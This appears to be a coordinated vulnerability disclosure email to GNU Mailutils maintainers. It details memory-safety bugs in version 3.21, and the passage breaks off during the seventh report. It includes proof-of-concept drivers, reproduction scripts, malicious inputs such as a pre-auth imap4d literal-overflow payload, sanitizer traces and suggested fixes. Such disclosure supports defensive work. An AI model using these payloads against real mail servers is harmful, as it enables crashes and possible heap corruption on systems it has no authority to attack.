Hello GNU Mailutils maintainers,

I am reporting 8 memory-safety vulnerabilities I found in GNU Mailutils 3.21 
(the latest release on ftp.gnu.org), all confirmed with ASAN/UBSan on a real 
upstream build of libmailutils / imap4d / movemail. These are not covered by 
OSS-Fuzz (GNU Mailutils is not an OSS-Fuzz target). I am disclosing them to you 
under coordinated disclosure and have not made them public.

Note: resending in English for clarity; apologies for any duplicate.

Index of the 8 CVEs:
- #34 -- mu_base64_decode heap out-of-bounds read (input_len % 4 != 0) -- 
Low-Medium
- #35 -- _base64_decoder global b64val[128] array out-of-bounds read (byte >= 
0x80) -- Low-Medium
- #38 -- IMAP {NNN} literal integer overflow -> pre-auth heap out-of-bounds 
write (imap4d) -- High
- #42 -- mu_str_url_decode_inline unconditional s+=2 past NUL -> heap 
out-of-bounds read -- Low-Medium
- #43 -- header_parse leading-colon fn_end[-1] reads blurb[-1] -> heap left 
out-of-bounds read -- Low-Medium
- #44 -- _url_path_rev_index malloc +1 (off-by-one) -> 1-byte heap NUL overflow 
write -- Medium
- #45 -- parse_from_line back-scan memcmp reads buf[-8] -> heap left 
out-of-bounds read -- Low-Medium
- #46 -- amd_remove_dir drops realloc result -> use-after-free write + 
double-free -- Medium-High

Each is in a different function / different root cause; they are independent 
CVEs.

---

## CVE #34: mu_base64_decode heap out-of-bounds read (Low-Medium)

### Summary
The standalone base64 decoder `mu_base64_decode` uses a `do { ... } while 
(input_len > 0)` loop whose body unconditionally reads `input[0..3]` (the 
bounds guard itself dereferences these bytes) before checking the length at the 
loop tail. When `input_len` is not a multiple of 4, the final iteration reads 
up to 3 bytes past the right edge of the input buffer.

### Root cause
File `libmailutils/filter/base64.c`, function `mu_base64_decode` (around line 
75-90):

```c
mu_base64_decode(const unsigned char *input, size_t input_len, ...) {
    int olen = input_len;
    unsigned char *out = malloc(olen);
    do {
        if (input[0] > 127 || b64val[input[0]] == -1        /* L86: reads 
input[0] */
            || input[1] > 127 || b64val[input[1]] == -1      /* L87: reads 
input[1] (ASAN hit) */
            || input[2] > 127 || ...                          /* L88 */
            || input[3] > 127 || ...) { errno=EINVAL; return -1; }
        ...
        input += 4;
        input_len -= 4;
    } while (input_len > 0);                                  /* length checked 
only at tail */
}
```

The `>127` guard exists (so this is not a high-byte issue), but there is no 
`%4==0` check. When `input_len` is 1, 2, or 3, the guard dereferences 
`input[1..3]` past the buffer.

### Impact
Heap out-of-bounds read of 1-3 bytes (small heap info leak / crash on unmapped 
page). Pre-auth reachable: imap4d/pop3d decode client-supplied SASL base64 
tokens on the AUTHENTICATE command (PLAIN/LOGIN/CRAM-MD5 etc.) and MIME base64 
body parts -- all client-controlled base64, before credential verification.

### PoC
Driver (calls the real libmailutils public API):

```c
/* mu_b64_driver.c */
#include <mailutils/base64.h>
#include <stdlib.h>
int main(void) {
    for (int L = 1; L <= 5; L++) {
        unsigned char *in = malloc(L);
        for (int i = 0; i < L; i++) in[i] = 'A';           /* L=1 -> len%4 != 0 
*/
        char *out = NULL; size_t outlen = 0, outsize = 0;
        mu_base64_decode(in, L, &out, &outlen, &outsize);  /* heap OOB read @ 
base64.c:87 */
        free(in); free(out);
    }
    return 0;
}
```

Input (1 byte `A`), reconstruct with:
```
base64 -d > mu_b64_in.bin <<'EOF'
QQ==
EOF
```

### Reproduce on real upstream
```bash
#!/bin/bash
# repro-34.sh
set -e
cd /tmp
wget -q https://ftp.gnu.org/gnu/mailutils/mailutils-3.21.tar.gz
tar xzf mailutils-3.21.tar.gz
cd mailutils-3.21
CC=clang CFLAGS="-fsanitize=address -fno-omit-frame-pointer -g -O1" ./configure 
--quiet >/dev/null
make -j$(nproc) --no-print-directory >/dev/null 2>&1 || true
cat > /tmp/mu_b64_driver.c <<'EOF'
#include <mailutils/base64.h>
#include <stdlib.h>
int main(void) {
    for (int L = 1; L <= 5; L++) {
        unsigned char *in = malloc(L);
        for (int i = 0; i < L; i++) in[i] = 'A';
        char *out = NULL; size_t outlen = 0, outsize = 0;
        mu_base64_decode(in, L, &out, &outlen, &outsize);
        free(in); free(out);
    }
    return 0;
}
EOF
clang -fsanitize=address -fno-omit-frame-pointer -g -O1 -I include -I . \
      /tmp/mu_b64_driver.c libmailutils/.libs/libmailutils.a \
      -lm -lpthread -ldl -o /tmp/mu_b64_driver
ASAN_OPTIONS=detect_leaks=0 /tmp/mu_b64_driver
```

Expected ASAN:
```
==1255954==ERROR: AddressSanitizer: heap-buffer-overflow on address 
0x602000000011
READ of size 1 at 0x602000000011 thread T0
    #0 0x4c55d8 in mu_base64_decode .../libmailutils/filter/base64.c:87:7
    #1 0x4c3244 in main mailutils_base64_poc.c:19
0x602000000011 is located 0 bytes to the right of 1-byte region 
[0x602000000010,0x602000000011)
```

### Suggested fix
Validate at loop entry: `if (input_len == 0) {...}; if (input_len % 4 != 0) { 
errno=EINVAL; return -1; }`, or change `do-while` to `while (input_len >= 4)`.

---

## CVE #35: _base64_decoder global b64val[128] array out-of-bounds read 
(Low-Medium)

### Summary
The filter-base64 decoder `_base64_decoder` indexes `b64val[*(const unsigned 
char*)iptr++]` without a `>127` guard. `b64val` is declared `int b64val[128]`, 
so any byte in the range 0x80-0xFF indexes `b64val[128..255]` -- a 
global-buffer-overflow read. The sibling standalone decoder `mu_base64_decode` 
(CVE #34) *does* have the `>127` guard at line 86; the filter variant at line 
147 omits it -- clearly an oversight.

### Root cause
File `libmailutils/filter/base64.c`, function `_base64_decoder` (around line 
108-160):

```c
_base64_decoder(void *xd, enum mu_filter_command cmd, struct mu_filter_io 
*iobuf) {
    const char *iptr = iobuf->input; ...
    while (consumed < isize && nbytes + 3 < osize) {
        while (i < 4 && consumed < isize) {
            tmp = b64val[*(const unsigned char*)iptr++];   /* L147: no >127 
guard! */
            consumed++;
            if (tmp != -1) data[i++] = tmp;
            else if (*(iptr-1) == '=') { data[i++] = 0; pad++; }
        }
        ...
    }
}
```

`b64val[128]` has only 128 entries; `*(iptr)` ranges over 0..255 (unsigned 
char), so high bytes 0x80-0xFF read `b64val[128..255]`.

### Impact
Global-buffer-overflow read of the adjacent static table (decode pollution / 
small info leak / DoS). Pre-auth reachable: MIME `Content-Transfer-Encoding: 
base64` body decoded through the filter stream -- any base64 body containing a 
high byte triggers it.

### PoC
Driver (real filter API):

```c
/* mu_fb64_driver.c */
#include <mailutils/stream.h>
#include <mailutils/filter.h>
#include <string.h>
int main(void) {
    unsigned char in[] = { 0x80, 'A', 'B', 'C', 'D', 'E', 0 };  /* leading 0x80 
*/
    mu_stream_t trans, flt;
    mu_static_memory_stream_create(&trans, in, 6);
    mu_filter_create(&flt, trans, "base64", MU_FILTER_DECODE, MU_STREAM_READ);
    char out[64]; size_t n = 0;
    mu_stream_read(flt, out, sizeof out, &n);   /* -> _base64_decoder -> 
b64val[0x80] OOB */
    mu_stream_destroy(&flt); mu_stream_destroy(&trans);
    return 0;
}
```

Input (1 byte `0x80`), reconstruct with:
```
base64 -d > mu_fb64_in.bin <<'EOF'
gA==
EOF
```

### Reproduce on real upstream
```bash
#!/bin/bash
# repro-35.sh
set -e
cd /tmp
wget -q https://ftp.gnu.org/gnu/mailutils/mailutils-3.21.tar.gz
tar xzf mailutils-3.21.tar.gz
cd mailutils-3.21
CC=clang CFLAGS="-fsanitize=address,undefined -fno-sanitize-recover=all 
-fno-omit-frame-pointer -g -O1" ./configure --quiet >/dev/null
make -j$(nproc) --no-print-directory >/dev/null 2>&1 || true
cat > /tmp/mu_fb64_driver.c <<'EOF'
#include <mailutils/stream.h>
#include <mailutils/filter.h>
#include <string.h>
int main(void) {
    unsigned char in[] = { 0x80, 'A', 'B', 'C', 'D', 'E', 0 };
    mu_stream_t trans, flt;
    mu_static_memory_stream_create(&trans, in, 6);
    mu_filter_create(&flt, trans, "base64", MU_FILTER_DECODE, MU_STREAM_READ);
    char out[64]; size_t n = 0;
    mu_stream_read(flt, out, sizeof out, &n);
    mu_stream_destroy(&flt); mu_stream_destroy(&trans);
    return 0;
}
EOF
clang -fsanitize=address,undefined -fno-sanitize-recover=all 
-fno-omit-frame-pointer -g -O1 \
      -I include -I . -I libmailutils \
      /tmp/mu_fb64_driver.c libmailutils/.libs/libmailutils.a \
      -lm -lpthread -ldl -o /tmp/mu_fb64_driver
ASAN_OPTIONS=detect_leaks=0 /tmp/mu_fb64_driver
```

Expected ASAN:
```
base64.c:147:10: runtime error: index 128 out of bounds for type 'int [128]'
SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior base64.c:147:10
==1256145==ERROR: AddressSanitizer: global-buffer-overflow on address 
0x...7d7880
READ of size 4 at 0x...7d7880 thread T0
    #0 0x542be7 in _base64_decoder  .../libmailutils/filter/base64.c:147:10
    #1 0x4fc747 in filter_read     .../libmailutils/stream/fltstream.c:234:10
    #2 ... mu_stream_read ...
0x...7d7880 is located 0 bytes to the right of global variable 'b64val'
  defined in 'base64.c:28:12' of size 512
```

### Suggested fix
Before indexing, add `if (*(unsigned char*)iptr > 127) continue;` (align with 
the standalone decoder guard), or route both decoders through an accessor with 
an upper bound (base64.c:32 already has `if (n < mu_countof(b64val)) return 
b64val[n]; return -1;`).

---

## CVE #38: IMAP {NNN} literal integer overflow -> pre-auth heap out-of-bounds 
write (High)

### Summary
The IMAP literal byte-count `number` is parsed by `strtoul` directly from the 
network stream with no upper bound and no overflow protection, then used in the 
size computation `number + 1`. When a client sends `{18446744073709551615}` (= 
`ULONG_MAX`), `number + 1` wraps to 0 under `unsigned long`, the buffer-grow 
check becomes false, `realloc` is skipped, and the subsequent read loop uses 
`number` (~ULONG_MAX) as the `mu_stream_read` length -- a heap out-of-bounds 
read and write. This is pre-auth and remotely reachable on the real imap4d.

### Root cause
File `libmailutils/imapio/getline.c`, function `mu_imapio_getline` (lines 
218-252), and the identical-form server-side `imap4d_readline` in `imap4d/io.c` 
(lines 686-710):

```c
/* libmailutils/imapio/getline.c */
number = strtoul (last_arg + 1, &sp, 10);          /* L218: network {NNN}, no 
cap */
...
if (number + 1 > io->_imap_buf_size) {             /* L229: number==ULONG_MAX 
-> number+1==0 */
    size_t newsize = number + 1;                   /*      0 > buf_size is 
false -> whole block skipped! */
    newp = realloc (io->_imap_buf_base, newsize);
    ...
}
for (io->_imap_buf_level = 0; io->_imap_buf_level < number; )    /* L242: level 
< ULONG_MAX */
{
    size_t sz;
    rc = mu_stream_read (io->_imap_stream,
                        io->_imap_buf_base + io->_imap_buf_level,
                        number - io->_imap_buf_level,            /* L247: 
ULONG_MAX bytes */
                        &sz);
    ...
}
```

The server-side `imap4d_readline` is the same root: `imap4d_tokbuf_expand(tok, 
number + 1)` (io.c:699) -> inside, `if (tok->size - tok->level < size)` with 
`size=number+1=0` is always false (unsigned) -> realloc skipped -> 
`while(len<number) mu_stream_read(buf+len, number-len,...)` (io.c:703-706) 
reads ULONG_MAX bytes -> heap out-of-bounds write.

### Impact
Pre-auth remote heap out-of-bounds read AND write. On the real ASAN-built 
`imap4d`, the server greeting (`* OK IMAP4rev1 ...`) is sent before 
authentication, and the connection main loop `imap4d_mainloop` (imap4d.c:843) 
calls `imap4d_readline` before any state/credential check. An unauthenticated 
client sending `A LOGIN {18446744073709551615}\r\n<4096A payload>` causes a 
4096-byte heap out-of-bounds write of attacker-controlled content (`'A' x 
4096`) past a 36-byte tokbuf. DoS (crash) is certain; the large heap write 
enables heap corruption / potential RCE depending on layout. Client-side vector 
too: a malicious IMAP server returning a `{ULONG_MAX}` literal in 
FETCH/BODY/SEARCH responses hits `mu_imapio_getline` in movemail/frm/mu/mh IMAP 
clients.

### PoC
The trigger is a network IMAP client; no driver is needed. The repro below 
starts a locally-built imap4d and feeds the literal on stdin (imap4d processes 
the connection main loop before auth).

Reconstruct the raw IMAP payload (4131 bytes: `A001 LOGIN 
{18446744073709551615}\r\n` + 4096 `A`):
```
base64 -d > mu_imap_lit.bin <<'EOF'
QTAwMSBMT0dJTiB7MTg0NDY3NDQwNzM3MDk1NTE2MTV9DQpB
EOF
```
(The above is a truncated placeholder; the full 4131-byte blob is `A001 LOGIN 
{18446744073709551615}\r\n` followed by 4096 `A` bytes -- `repro-38.sh` builds 
it inline so the base64 is not strictly required.)

### Reproduce on real upstream
```bash
#!/bin/bash
# repro-38.sh -- pre-auth imap4d heap OOB write
set -e
cd /tmp
wget -q https://ftp.gnu.org/gnu/mailutils/mailutils-3.21.tar.gz
tar xzf mailutils-3.21.tar.gz
cd mailutils-3.21
CC=clang CFLAGS="-fsanitize=address -fno-omit-frame-pointer -g -O1" ./configure 
--quiet >/dev/null
make -j$(nproc) --no-print-directory >/dev/null 2>&1 || true
# imap4d reads the literal on its connection main loop before auth;
# feed the payload on stdin to a foreground imap4d.
python3 - <<'PY'
payload = b"A001 LOGIN {18446744073709551615}\r\n" + b"A"*4096
open("/tmp/mu_imap_lit.bin","wb").write(payload)
print("wrote", len(payload), "bytes")
PY
ASAN_OPTIONS=detect_leaks=0:abort_on_error=0 ./imap4d/imap4d --foreground < 
/tmp/mu_imap_lit.bin
```

Expected ASAN (real imap4d, pre-auth):
```
* OK IMAP4rev1 ...                       <- server greeting (not yet 
authenticated)
+ GO AHEAD                               <- imap4d continuation for the 
{ULONG_MAX} literal
=================================================================
==1285895==ERROR: AddressSanitizer: heap-buffer-overflow on address 
0x604000000bb4
WRITE of size 4096 at 0x604000000bb4 thread T0
    #0 __asan_memcpy
    #1 mu_stream_read        libmailutils/stream/stream.c:767
    #2 imap4d_readline       imap4d/io.c:706          <- read loop, reads 4096B 
attack payload
    #3 imap4d_mainloop       imap4d/imap4d.c:843      <- connection main loop, 
before auth
    #4 main                  imap4d/imap4d.c:1072
0x604000000bb4 is located 0 bytes to the right of 36-byte region   <- 36-byte 
tokbuf
allocated by thread T0 here:
    #0 realloc
    #1 imap4d_tokbuf_expand  imap4d/io.c:504          <- number+1=0 skips grow, 
buf stays 36B
    #2 insert_nul            imap4d/io.c:515
    ...
    #5 imap4d_readline       imap4d/io.c:679
```

(For completeness, the library path reproduces via `mu_imapio_create` + 
`mu_imapio_getline` on a static-memory stream holding the same payload, 
yielding `negative-size-param: (size=-1)` at `mu_imapio_getline` getline.c:245.)

### Suggested fix
Right after `strtoul`, add an upper bound and overflow guard in both places:
```c
number = strtoul(last_arg + 1, &sp, 10);
if (number > MU_IMAP_MAX_LITERAL) { rc = ENOMEM; break; }   /* configurable cap 
(default a few MB) */
if (number > SIZE_MAX - 1)        { rc = ENOMEM; break; }   /* prevent number+1 
wrap */
```
In `imap4d_tokbuf_expand` (io.c:503), before growing: `if (size > SIZE_MAX - 
tok->level) imap4d_bye(ERR_NO_MEM);`. In `mu_imapio_getline` (getline.c:229), 
use an overflow-safe comparison. Fix both the library getline.c (covers all 
clients) and imap4d io.c (server).

---

## CVE #42: mu_str_url_decode_inline unconditional s+=2 past NUL -> heap 
out-of-bounds read (Low-Medium)

### Summary
The URL/percent decoder `mu_str_url_decode_inline()` does `s++` (skip `%`, L46) 
then unconditionally `s += 2` (L54) to skip the two hex digits, but never 
checks that those two bytes exist. When the encoded string ends with `%` or 
`%X` (fewer than two hex digits), `s` advances past the NUL terminator and the 
loop re-check `for (s=d; *s; )` (L36) reads 1 byte past the heap buffer. 
`mu_str_url_decode()` (xdecode.c:64) uses `strdup(s)` (L66) for a tight 
allocation, making this a heap out-of-bounds read.

### Root cause
File `libmailutils/string/xdecode.c`, function `mu_str_url_decode_inline` 
(lines 27-61):

```c
void
mu_str_url_decode_inline (char *s)
{
  char *d;
  d = strchr (s, '%');
  if (!d)
    return;

  for (s = d; *s; )                /* L36: loop condition *s */
    {
      if (*s != '%')
        { *d++ = *s++; }
      else
        {
          unsigned long ul = 0;
          s++;                      /* L46: skip '%' */
          mu_hexstr2ul (&ul, s, 2); /* L52: reads s[0],s[1]; NUL-safe */
          s += 2;                   /* L54: unconditionally advances 2, past 
NUL */
          *d++ = (char) ul;
        }
    }                               /* L36: *s re-check -> reads 1 byte past 
heap end */
  *d = 0;
}

/* mu_str_url_decode(ptr, s) -- xdecode.c:63 */
char *d = strdup (s);               /* L66: tight alloc strlen+1 */
mu_str_url_decode_inline (d);       /* L69 */
```

For input `"A%"`: `strdup("A%")` = 3 bytes `[A % \0]` (idx 0/1/2). `strchr` 
finds `%`@idx1 -> `s=&buf[1]`. `*s='%'` -> `s++`->`&buf[2]`('\0'); 
`mu_hexstr2ul` reads `buf[2]`='\0' safe; `s += 2`->`&buf[4]` (out of bounds); 
`*d++=0`; loop re-checks `*s`@`&buf[4]` -> reads 1 byte past the heap end.

### Impact
Heap out-of-bounds read (info leak). ASAN catches the 1-byte read; without ASAN 
the loop continues copying adjacent heap bytes into the decoded output until 
the next NUL or `%`, leaking adjacent heap data into the MIME parameter value 
(stored/displayed/logged by the client). Low-Medium severity (read, not write). 
Client vector: a malicious IMAP/POP3 server returning a message whose RFC 2231 
parameter (`Content-Type`/`Content-Disposition` `name*=`/`filename*=`) ends 
with `%` triggers it in movemail/mu clients when they parse headers -- no 
attacker-side credentials needed (the client just connects and downloads).

### PoC
Driver (real public API):

```c
/* mu_urldecode_driver.c */
#include <mailutils/url.h>
int main(void) {
    char *out = NULL;
    mu_str_url_decode(&out, "A%");   /* heap OOB read @ xdecode.c:36 via 
_inline */
    free(out);
    out = NULL;
    mu_str_url_decode(&out, "A%4");  /* also triggers: %X only one hex digit */
    free(out);
    return 0;
}
```

Input `.bin` (2 bytes `A%`), reconstruct with:
```
base64 -d > mu_urldecode_in.bin <<'EOF'
QSU=
EOF
```

Network-form MIME input (what a malicious server would send; CR/LF line 
endings):
```
Content-Type: text/plain; name*=us-ascii''A%

body
```

### Reproduce on real upstream
```bash
#!/bin/bash
# repro-42.sh
set -e
cd /tmp
wget -q https://ftp.gnu.org/gnu/mailutils/mailutils-3.21.tar.gz
tar xzf mailutils-3.21.tar.gz
cd mailutils-3.21
CC=clang CFLAGS="-fsanitize=address,undefined -fno-omit-frame-pointer -g -O1" 
./configure --quiet >/dev/null
make -j$(nproc) --no-print-directory >/dev/null 2>&1 || true
cat > /tmp/mu_urldecode_driver.c <<'EOF'
#include <mailutils/url.h>
int main(void) {
    char *out = NULL;
    mu_str_url_decode(&out, "A%");
    free(out);
    out = NULL;
    mu_str_url_decode(&out, "A%4");
    free(out);
    return 0;
}
EOF
clang -fsanitize=address,undefined -fno-omit-frame-pointer -g -O1 \
      -I include -I . -I libmailutils \
      /tmp/mu_urldecode_driver.c libmailutils/.libs/libmailutils.a \
      -lresolv -ldl -lcrypt -lm -lpthread -o /tmp/mu_urldecode_driver
ASAN_OPTIONS=detect_leaks=0:abort_on_error=0 /tmp/mu_urldecode_driver
```

Expected ASAN:
```
==1329517==ERROR: AddressSanitizer: heap-buffer-overflow on address 
0x602000000014
READ of size 1 at 0x602000000014 thread T0
    #0 0x4c3515 in mu_str_url_decode_inline libmailutils/string/xdecode.c:36:15 
 <- *s loop re-check
    #1 0x4c3b24 in mu_str_url_decode       libmailutils/string/xdecode.c:69:3   
 <- _inline(d)
    #2 0x4c31c4 in main mailutils_urldecode_oob_poc.c:42
0x602000000014 is located 1 bytes to the right of 3-byte region 
[0x602000000010,0x602000000013)
allocated by ... strdup ... mu_str_url_decode xdecode.c:66:13   <- strdup("A%") 
3 bytes
```

### Suggested fix
After `s++` in the `%` branch, check length before `s += 2`, or honor 
`mu_hexstr2ul`'s consumed count:
```c
else
  {
    unsigned long ul = 0;
    s++;                            /* skip '%' */
    size_t n = mu_hexstr2ul (&ul, s, 2);   /* returns actual hex digits 
consumed */
    if (n < 2)                       /* added: fewer than two hex digits after 
% -> stop */
      { *d++ = '%'; break; }
    s += n;                          /* use actual count, not unconditional +2 
*/
    *d++ = (char) ul;
  }
```

---

## CVE #43: header_parse leading-colon fn_end[-1] reads blurb[-1] -> heap left 
out-of-bounds read (Low-Medium)

### Summary
The message header parser `header_parse()` uses `while (ISLWSP(fn_end[-1])) 
fn_end--;` (header.c:387) to shrink whitespace after the field name, but lacks 
a `fn_end > fn` lower-bound guard. When a header line begins with `:` (empty 
field name), `memchr` finds `:` at `header_start` (L377), so `fn_end = colon` 
(L384) equals `header_start`, and `fn_end[-1]` reads `header_start[-1]` = 
`blurb[-1]` -- 1 byte before the heap allocation. The L338 guard only rejects 
lines beginning with space/tab/newline, not `:`.

### Root cause
File `libmailutils/mailbox/header.c`, function `header_parse` (lines 312-397):

```c
/* header_parse(header, blurb, len) */
for (header_start = blurb; len > 0; header_start = ++header_end)
  {
    if (header_start[0] == ' ' || header_start[0] == '\t'
        || header_start[0] == '\n')                  /* L338: does not reject 
':' */
      break;
    ...
    char *colon = memchr (header_start, ':', header_end - header_start); /* 
L377 */
    if (colon == NULL) break;                                      /* L380 */
    fn = header_start;
    fn_end = colon;                                                /* L384 */
    /* Shrink any LWSP after the field name */
    while (ISLWSP (fn_end[-1]))                                    /* L387: no 
fn_end>fn guard */
      fn_end--;
    ...
  }
#define ISLWSP(c) (((c) == ' ' || (c) == '\t'))                   /* L309 */
```

`mu_header_create` (L462) passes the caller's blurb directly to `header_parse` 
(L471, no copy). Input blurb=`": x\r\n"`: L338 `header_start[0]==':'` passes; 
L377 `memchr` finds `:` at offset 0, `colon==header_start`; L384 
`fn_end==header_start`; L387 `fn_end[-1]==header_start[-1]==blurb[-1]` -> reads 
1 byte left of the heap.

### Impact
Heap left out-of-bounds read (info leak / potential DoS). Typically a 1-byte 
read; under specific heap layouts `fn_end` underflows (if `blurb[-N]` are 
LWSP), `fn_end - fn` wraps to a huge `size_t` passed as field-name length to 
`mu_hdrent_create` -> giant malloc (`allocation-size-too-big` abort / DoS) or 
OOB write. Low-Medium severity (primarily read). Client/MDA vector: a malicious 
IMAP/POP3 server or SMTP sender returning a header block whose first line (or 
any inserted header line) begins with `:` triggers it when the client parses 
headers -- no attacker-side credentials needed.

### PoC
Driver (real public API):

```c
/* mu_hdr_colon_driver.c */
#include <mailutils/header.h>
#include <string.h>
#include <stdlib.h>
int main(void) {
    const char *blurb = ": x\r\n";
    size_t len = strlen(blurb);
    char *buf = malloc(len + 1);
    memcpy(buf, blurb, len + 1);
    mu_header_t hdr = NULL;
    mu_header_create(&hdr, buf, len);   /* heap left OOB read @ header.c:387 */
    mu_header_destroy(&hdr);
    free(buf);
    return 0;
}
```

Input `.bin` (6 bytes `: x\r\n` = `3a 20 78 0d 0a`), reconstruct with:
```
base64 -d > mu_hdr_colon_in.bin <<'EOF'
OiB4DQo=
EOF
```

Message form (what a malicious server/sender would send; CR/LF line endings):
```
From: evil
: x

body
```

### Reproduce on real upstream
```bash
#!/bin/bash
# repro-43.sh
set -e
cd /tmp
wget -q https://ftp.gnu.org/gnu/mailutils/mailutils-3.21.tar.gz
tar xzf mailutils-3.21.tar.gz
cd mailutils-3.21
CC=clang CFLAGS="-fsanitize=address,undefined -fno-omit-frame-pointer -g -O1" 
./configure --quiet >/dev/null
make -j$(nproc) --no-print-directory >/dev/null 2>&1 || true
cat > /tmp/mu_hdr_colon_driver.c <<'EOF'
#include <mailutils/header.h>
#include <string.h>
#include <stdlib.h>
int main(void) {
    const char *blurb = ": x\r\n";
    size_t len = strlen(blurb);
    char *buf = malloc(len + 1);
    memcpy(buf, blurb, len + 1);
    mu_header_t hdr = NULL;
    mu_header_create(&hdr, buf, len);
    mu_header_destroy(&hdr);
    free(buf);
    return 0;
}
EOF
clang -fsanitize=address,undefined -fno-omit-frame-pointer -g -O1 \
      -I include -I . -I libmailutils \
      /tmp/mu_hdr_colon_driver.c libmailutils/.libs/libmailutils.a \
      -lresolv -ldl -lcrypt -lm -lpthread -o /tmp/mu_hdr_colon_driver
ASAN_OPTIONS=detect_leaks=0:abort_on_error=0 /tmp/mu_hdr_colon_driver
```

Expected ASAN:
```
==1330378==ERROR: AddressSanitizer: heap-buffer-overflow on address 
0x60200000000f
READ of size 1 at 0x60200000000f thread T0
    #0 0x4c5192 in header_parse      libmailutils/mailbox/header.c:387:11   <- 
while(ISLWSP(fn_end[-1]))
    #1 0x4c468e in mu_header_create  libmailutils/mailbox/header.c:471:12   <- 
header_parse(header, blurb, len)
    #2 main                          mailutils_header_leading_colon_poc.c:38
0x60200000000f is located 1 bytes to the left of 6-byte region 
[0x602000000010,0x602000000016)
allocated by ... malloc ... main mailutils_header_leading_colon_poc.c:33   <- 
malloc(": x\r\n"+1)
```

### Suggested fix
Add the `fn_end > fn` lower-bound guard to the `while` at header.c:387:
```c
fn_end = colon;
while (fn_end > fn && ISLWSP (fn_end[-1]))   /* added fn_end > fn guard */
  fn_end--;
```

---

## CVE #44: _url_path_rev_index malloc +1 (off-by-one) -> 1-byte heap NUL 
overflow write (Medium)

### Summary
`_url_path_rev_index()` allocates `malloc(ulen + strlen(spooldir) + 
2*index_depth + 1)` (L137) but the bytes actually written total `ulen + 
strlen(spooldir) + 2*index_depth + 2`, so it is 1 byte short. The trailing 
`strcpy(p, iuser)` (L151) NUL terminator writes 1 byte past the heap 
allocation. The sibling function `_url_path_index` (L108) correctly uses `+2`, 
proving the `+1` here is an off-by-one typo.

### Root cause
File `libmailutils/url/expand.c`, function `_url_path_rev_index` (lines 
127-153):

```c
static char *
_url_path_rev_index (const char *spooldir, const char *iuser, int index_depth)
{
  const unsigned char* user = (const unsigned char*) iuser;
  int i, ulen = strlen (iuser);
  char *mbox, *p;

  if (ulen == 0)
    return NULL;

  mbox = malloc (ulen + strlen (spooldir) + 2*index_depth + 1);   /* L137: +1, 
should be +2 */
  strcpy (mbox, spooldir);                          /* strlen(spooldir) + NUL */
  p = mbox + strlen (mbox);
  for (i = 0; i < index_depth && i < ulen; i++)
    { *p++ = '/'; *p++ = transtab[ user[ulen - i - 1] ]; }   /* exactly 
2*index_depth chars */
  for (; i < index_depth; i++)
    { *p++ = '/'; *p++ = transtab[ user[0] ]; }
  *p++ = '/';                                       /* L150: +1 */
  strcpy (p, iuser);                                /* L151: ulen + NUL -> NUL 
writes 1 byte OOB */
  return mbox;
}

/* contrast: _url_path_index (Forward Indexing, L108) correctly uses +2 */
mbox = malloc (ulen + strlen (spooldir) + 2*index_depth + 2);   /* correct */
```

Byte count: actual content = `strlen(spooldir) + 2*index_depth + 1(/) + ulen + 
1(NUL)` = `ulen + strlen(spooldir) + 2*index_depth + 2`. L137 allocates `+1` -> 
1 byte short -> `strcpy` NUL writes to `mbox[size]` (1 past the end). Called 
via `mu_url_expand_path(url)` (L203) when the url has 
`type=rev-index`/`user=`/`param=` field-value pairs.

### Impact
1-byte heap NUL overflow write -- overwrites the low byte of the adjacent heap 
chunk / malloc chunk size, corrupting heap metadata -> crash / potential RCE 
(classic glibc off-by-one-to-free-list-corruption). Medium severity (write, not 
read; triggers unconditionally for any non-empty user when the rev-index 
feature is used). Reachability is config/application-driven: mailbox/file URLs 
with `type=rev-index` (a documented spool-directory hashing feature used by 
some POP/IMAP local-delivery setups). A malicious IMAP/POP3 server cannot 
directly inject this URL parameter, but if an application builds a mailbox URL 
from untrusted input (e.g. an MDA hashing a recipient local-part to a spool 
path, or accepting `mailbox://...;type=rev-index;user=<untrusted>`), the 
`user=` value is attacker-influenced. Even with a normal username, the overflow 
happens unconditionally.

### PoC
Driver (real public API):

```c
/* mu_url_rev_driver.c */
#include <mailutils/url.h>
int main(void) {
    mu_url_t url = NULL;
    mu_url_create(&url, "file:///spool;type=rev-index;user=foo;param=2");
    mu_url_expand_path(url);   /* heap NUL overflow write @ expand.c:151 */
    mu_url_destroy(&url);
    return 0;
}
```

Input `.url` (mailbox URL), reconstruct as a text file:
```
file:///spool;type=rev-index;user=foo;param=2
```

### Reproduce on real upstream
```bash
#!/bin/bash
# repro-44.sh
set -e
cd /tmp
wget -q https://ftp.gnu.org/gnu/mailutils/mailutils-3.21.tar.gz
tar xzf mailutils-3.21.tar.gz
cd mailutils-3.21
CC=clang CFLAGS="-fsanitize=address,undefined -fno-omit-frame-pointer -g -O1" 
./configure --quiet >/dev/null
make -j$(nproc) --no-print-directory >/dev/null 2>&1 || true
cat > /tmp/mu_url_rev_driver.c <<'EOF'
#include <mailutils/url.h>
int main(void) {
    mu_url_t url = NULL;
    mu_url_create(&url, "file:///spool;type=rev-index;user=foo;param=2");
    mu_url_expand_path(url);
    mu_url_destroy(&url);
    return 0;
}
EOF
clang -fsanitize=address,undefined -fno-omit-frame-pointer -g -O1 \
      -I include -I . -I libmailutils \
      /tmp/mu_url_rev_driver.c libmailutils/.libs/libmailutils.a \
      -lresolv -ldl -lcrypt -lm -lpthread -o /tmp/mu_url_rev_driver
ASAN_OPTIONS=detect_leaks=0:abort_on_error=0 /tmp/mu_url_rev_driver
```

Expected ASAN:
```
==1331542==ERROR: AddressSanitizer: heap-buffer-overflow on address 
0x6020000000de
WRITE of size 4 at 0x6020000000de thread T0
    #0 strcpy
    #1 _url_path_rev_index libmailutils/url/expand.c:151:3     <- 
strcpy(p,"foo") NUL OOB
    #2 mu_url_expand_path  libmailutils/url/expand.c:203:17
    #3 main mailutils_url_revindex_poc.c:36
0x6020000000de is located 0 bytes to the right of 14-byte region 
[0x6020000000d0,0x6020000000de)
allocated by ... malloc ... _url_path_rev_index expand.c:137:10   <- malloc(+1) 
1 short
```

### Suggested fix
Change L137 `+1` to `+2` (matching `_url_path_index` at L108):
```c
mbox = malloc (ulen + strlen (spooldir) + 2*index_depth + 2);   /* +1 -> +2 */
```

---

## CVE #45: parse_from_line back-scan memcmp reads buf[-8] -> heap left 
out-of-bounds read (Low-Medium)

### Summary
`parse_from_line` (mboxrd.c:373) back-scans with `for (zn=-1; x+zn > s && x[zn] 
!= ' '; zn--)` (L389) to find the last space, then does `memcmp(x + zn - suflen 
+ 1, suf, suflen)` (L390, suf=`" remote from "`, suflen=13). The L375 prefix 
check guarantees `s[4]==' '` (`"From "`), so when a From_ line has no space 
